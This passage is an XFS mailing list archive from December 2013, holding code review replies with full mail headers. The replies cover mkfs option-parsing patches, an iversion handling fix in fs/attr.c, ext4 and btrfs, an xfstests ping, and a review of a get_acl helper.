bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnX4i-0007Sd-1L; Mon, 02 Dec 2013 17:14:24 +0000 Date: Mon, 2 Dec 2013 09:14:24 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 09/15] mkfs: use getnum_checked for all ranged parameters Message-ID: <20131202171424.GA28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 09/15] mkfs: use getnum_checked for all ranged parameters References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-10-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-10-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386004464 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:15:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AC32229DF9 for ; Mon, 2 Dec 2013 11:15:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9594D30407E for ; Mon, 2 Dec 2013 09:15:40 -0800 (PST) X-ASG-Debug-ID: 1386004539-04cb6c537d47b950001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id tZHVOdjNzCD6pdBP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:15:39 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnX5v-0008WV-Ah; Mon, 02 Dec 2013 17:15:39 +0000 Date: Mon, 2 Dec 2013 09:15:39 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 10/15] mkfs: add respecification detection to generic parsing Message-ID: <20131202171539.GB28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 10/15] mkfs: add respecification detection to generic parsing References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-11-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-11-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386004539 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.70 X-Barracuda-Spam-Status: No, SCORE=0.70 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MARKETING_SUBJECT, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS > -const struct opt_params bopts = { > +struct opt_params bopts = { Maybe you shouldn't have added these consts in the first place :) Otherwise looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:17:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5BE3929DF9 for ; Mon, 2 Dec 2013 11:17:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 011E6AC001 for ; Mon, 2 Dec 2013 09:17:35 -0800 (PST) X-ASG-Debug-ID: 1386004655-04bdf06eef484070001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id tn8sr7Y6uZyDSlpy (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:17:35 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnX7m-0000G4-V5; Mon, 02 Dec 2013 17:17:34 +0000 Date: Mon, 2 Dec 2013 09:17:34 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 11/15] mkfs: table based parsing for converted parameters Message-ID: <20131202171734.GC28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 11/15] mkfs: table based parsing for converted parameters References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-12-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-12-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386004655 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142785 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Fri, Nov 29, 2013 at 12:43:46PM +1100, Dave Chinner wrote: > From: Dave Chinner > > All the parameters that can be passed as block or sector sizes need > to be passed the block and sector sizes that they should be using > for conversion. For parameter parsing, it is always the same two > variables, so to make things easy just declare them as global > variables so we can avoid needing to pass them to getnum_checked(). > > We also need to mark these parameters are requiring conversion so > that we don't need to pass this information manually to > getnum_checked(). Further, some of these options are required to > have a power of 2 value, so add optional checking for that as well. > > Signed-off-by: Dave Chinner Looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:22:36 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 70B0D29DF9 for ; Mon, 2 Dec 2013 11:22:36 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EAEF4AC007 for ; Mon, 2 Dec 2013 09:22:35 -0800 (PST) X-ASG-Debug-ID: 1386004953-04cbb04167481730001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id MVlFWojN3D1v4tht (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:22:34 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnXCb-0001JZ-5X; Mon, 02 Dec 2013 17:22:33 +0000 Date: Mon, 2 Dec 2013 09:22:33 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 12/15] mkfs: merge getnum Message-ID: <20131202172233.GD28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 12/15] mkfs: merge getnum References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-13-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-13-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386004954 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Nov 29, 2013 at 12:43:47PM +1100, Dave Chinner wrote: > From: Dave Chinner > > getnum() is now only called by getnum_checked(). Move the two > together into a single getnum() function and change all the callers > back to getnum(). So we now have two different getnums in mkfs now. Maybe the one in proto.c should have a different name? > +static long long > +getnum( > + const char *str, > + unsigned int blksize, > + unsigned int sectsize, > + bool convert) > +{ > + long long i; > + char *sp; > + > + if (convert) > + return cvtnum(blksize, sectsize, str); Also the whole if convert is true sillyness lives on here. The caller that wants cvtnum should just call it directly. > + else { > + char *sp; > + > + c = strtoll(str, &sp, 0); > + if (c == 0 && sp == str) > + illegal_option(str, opts, index); > + if (*sp != '\0') > + illegal_option(str, opts, index); > + } And given that the strtoll wrapping code is the same for both getnums I suspect we shoud just have a mkfs_strtoll that gets called here, and directly by the proto.c callers. From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:23:30 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5A08D29E05 for ; Mon, 2 Dec 2013 11:23:30 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 45CB38F8064 for ; Mon, 2 Dec 2013 09:23:30 -0800 (PST) X-ASG-Debug-ID: 1386005009-04cb6c537e47c0c0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id 9FcXqua7yHoFh5OO (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:23:29 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnXDV-0001Kw-3n; Mon, 02 Dec 2013 17:23:29 +0000 Date: Mon, 2 Dec 2013 09:23:29 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 13/15] mkfs: encode conflicts into parsing table Message-ID: <20131202172329.GE28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 13/15] mkfs: encode conflicts into parsing table References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-14-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-14-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386005009 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS Looks good, Reviewed-by: Christoph Hellwig From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:24:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 8855229E05 for ; Mon, 2 Dec 2013 11:24:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 64C0C304051 for ; Mon, 2 Dec 2013 09:24:42 -0800 (PST) X-ASG-Debug-ID: 1386005081-04cbb04168481960001-NocioJ Received: from bombadil.infradead.org (bombadil.infradead.org [198.137.202.9]) by cuda.sgi.com with ESMTP id jfe2Apkv2gBJuvIv (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:24:41 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnXEf-0001Lx-6L; Mon, 02 Dec 2013 17:24:41 +0000 Date: Mon, 2 Dec 2013 09:24:41 -0800 From: Christoph Hellwig To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH 15/15] mkfs: don't treat files as though they are block devices Message-ID: <20131202172441.GF28630@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 15/15] mkfs: don't treat files as though they are block devices References: <1385689430-10103-1-git-send-email-david@fromorbit.com> <1385689430-10103-16-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385689430-10103-16-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[198.137.202.9] X-Barracuda-Start-Time: 1386005081 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- > void > platform_flush_device(int fd, dev_t device) > { > - if (major(device) != RAMDISK_MAJOR) > + struct stat64 st; > + if (major(device) == RAMDISK_MAJOR) > + return; > + > + if (fstat64(fd, &st) < 0) > + return; > + > + if (S_ISREG(st.st_mode)) > + fsync(fd); > + else > ioctl(fd, BLKFLSBUF, 0); > } Given that fsync does the right thing for device on Linux aswell I'd suggest we make this function call it all the time and get rid of all the ramdisk magic. Should probabbly be a a separate patch. From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:36:38 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 676D429E05 for ; Mon, 2 Dec 2013 11:36:38 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D3344AC008 for ; Mon, 2 Dec 2013 09:36:37 -0800 (PST) X-ASG-Debug-ID: 1386005796-04cb6c537d47cd60001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id wdut0KrAckrwqChF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:36:36 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnXQC-0004d0-7y; Mon, 02 Dec 2013 17:36:36 +0000 Date: Mon, 2 Dec 2013 09:36:36 -0800 From: Christoph Hellwig To: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131202173636.GA17724@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131119151707.GA13412@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386005796 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 2.00 BSF_SC7_SA_HREF_FROM_MISMATCH_TEXT_URIx1_HL Custom Rule HREF_FROM_MISMATCH_TEXT_URIx1_HL ping? On Tue, Nov 19, 2013 at 07:17:07AM -0800, Christoph Hellwig wrote: > Currently notify_change directly updates i_version for size updates, > which not only is counter to how all other fields are updated through > struct iattr, but also breaks XFS, which need inode updates to happen > under its own lock, and synchronized to the structure that gets written > to the log. > > Remove the update in the common code, and it to btrfs and ext4, > XFS already does a proper updaste internally and currently gets a > double update with the existing code. > > IMHO this is 3.13 and -stable material and should go in through the XFS > tree. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/attr.c > =================================================================== > --- xfs.orig/fs/attr.c 2013-11-19 16:08:42.275415189 +0100 > +++ xfs/fs/attr.c 2013-11-19 16:08:51.803414994 +0100 > @@ -182,11 +182,6 @@ int notify_change(struct dentry * dentry > return -EPERM; > } > > - if ((ia_valid & ATTR_SIZE) && IS_I_VERSION(inode)) { > - if (attr->ia_size != inode->i_size) > - inode_inc_iversion(inode); > - } > - > if ((ia_valid & ATTR_MODE)) { > umode_t amode = attr->ia_mode; > /* Flag setting protected by i_mutex */ > Index: xfs/fs/btrfs/inode.c > =================================================================== > --- xfs.orig/fs/btrfs/inode.c 2013-11-19 16:08:42.275415189 +0100 > +++ xfs/fs/btrfs/inode.c 2013-11-19 16:08:51.803414994 +0100 > @@ -4345,8 +4345,12 @@ static int btrfs_setsize(struct inode *i > * these flags set. For all other operations the VFS set these flags > * explicitly if it wants a timestamp update. > */ > - if (newsize != oldsize && (!(mask & (ATTR_CTIME | ATTR_MTIME)))) > - inode->i_ctime = inode->i_mtime = current_fs_time(inode->i_sb); > + if (newsize != oldsize) { > + inode_inc_iversion(inode); > + if (!(mask & (ATTR_CTIME | ATTR_MTIME))) > + inode->i_ctime = inode->i_mtime = > + current_fs_time(inode->i_sb); > + } > > if (newsize > oldsize) { > truncate_pagecache(inode, newsize); > Index: xfs/fs/ext4/inode.c > =================================================================== > --- xfs.orig/fs/ext4/inode.c 2013-11-19 16:08:42.275415189 +0100 > +++ xfs/fs/ext4/inode.c 2013-11-19 16:08:51.803414994 +0100 > @@ -4594,6 +4594,10 @@ int ext4_setattr(struct dentry *dentry, > if (attr->ia_size > sbi->s_bitmap_maxbytes) > return -EFBIG; > } > + > + if (IS_I_VERSION(inode) && attr->ia_size != inode->i_size) > + inode_inc_iversion(inode); > + > if (S_ISREG(inode->i_mode) && > (attr->ia_size < inode->i_size)) { > if (ext4_should_order_data(inode)) { > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs ---end quoted text--- From BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org Mon Dec 2 11:40:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A2CC329E05 for ; Mon, 2 Dec 2013 11:40:46 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83978304082 for ; Mon, 2 Dec 2013 09:40:46 -0800 (PST) X-ASG-Debug-ID: 1386006045-04cb6c537b47d1a0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id BDtmvQf7ZhoT9yMD (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 02 Dec 2013 09:40:45 -0800 (PST) X-Barracuda-Envelope-From: BATV+f764f775e7aa3697dc82+3753+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1VnXUD-0005hE-Dt for xfs@oss.sgi.com; Mon, 02 Dec 2013 17:40:45 +0000 Date: Mon, 2 Dec 2013 09:40:45 -0800 From: Christoph Hellwig To: xfs@oss.sgi.com Subject: Re: [PATCH] xfstests: stop special casing nfs and udf Message-ID: <20131202174045.GA21861@infradead.org> X-ASG-Orig-Subj: Re: [PATCH] xfstests: stop special casing nfs and udf References: <20131107204635.GA22954@infradead.org> <20131122091553.GA32568@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131122091553.GA32568@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1386006045 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.60 X-Barracuda-Spam-Status: No, SCORE=0.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142787 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 On Fri, Nov 22, 2013 at 01:15:53AM -0800, Christoph Hellwig wrote: > ping? ping^2? From jack@suse.cz Mon Dec 2 14:14:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 50A8E7F58 for ; Mon, 2 Dec 2013 14:14:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3AD0630407A for ; Mon, 2 Dec 2013 12:14:37 -0800 (PST) X-ASG-Debug-ID: 1386015275-04cb6c537d485630001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ud9zhQ5IlIPaGHhE for ; Mon, 02 Dec 2013 12:14:35 -0800 (PST) X-Barracuda-Envelope-From: jack@suse.cz X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (unknown [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 21E5DA7CF0; Mon, 2 Dec 2013 21:14:34 +0100 (CET) Received: by quack.suse.cz (Postfix, from userid 1000) id 263A381EF4; Mon, 2 Dec 2013 21:14:34 +0100 (CET) Date: Mon, 2 Dec 2013 21:14:34 +0100 From: Jan Kara To: Christoph Hellwig Cc: viro@zeniv.linux.org.uk, linux-fsdevel@vger.kernel.org, linux-btrfs@vger.kernel.org, linux-ext4@vger.kernel.org, linux-f2fs-devel@lists.sourceforge.net, linux-mtd@lists.infradead.org, Mark Fasheh , Joel Becker , reiserfs-devel@vger.kernel.org, xfs@oss.sgi.com, jfs-discussion@lists.sourceforge.net, cluster-devel@redhat.com, linux-nfs@vger.kernel.org Subject: Re: [PATCH 02/18] fs: add get_acl helper Message-ID: <20131202201434.GB12253@quack.suse.cz> X-ASG-Orig-Subj: Re: [PATCH 02/18] fs: add get_acl helper References: <20131201115903.910559036@bombadil.infradead.org> <20131201120653.841554822@bombadil.infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131201120653.841554822@bombadil.infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1386015275 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142789 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun 01-12-13 03:59:05, Christoph Hellwig wrote: > Factor out the code to get an ACL either from the inode or disk from > check_acl, so that it can be used elsewhere later on. > > Signed-off-by: Christoph Hellwig Looks good. You can add: Reviewed-by: Jan Kara Honza > --- 